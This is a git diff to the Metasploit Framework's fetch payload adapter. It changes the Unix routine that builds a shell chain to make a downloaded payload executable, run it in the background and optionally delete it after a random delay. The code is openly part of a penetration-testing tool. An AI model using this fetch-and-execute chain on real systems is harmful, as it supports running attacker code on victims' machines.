diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 142878c68798..fa17aeff1bb1 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -202,9 +202,9 @@ def _execute_win end def _execute_nix - cmds = "; chmod +x #{_remote_destination_nix}" - cmds << "; #{_remote_destination_nix} &" - cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] + cmds = ";chmod +x #{_remote_destination_nix}" + cmds << ";#{_remote_destination_nix}&" + cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE'] cmds end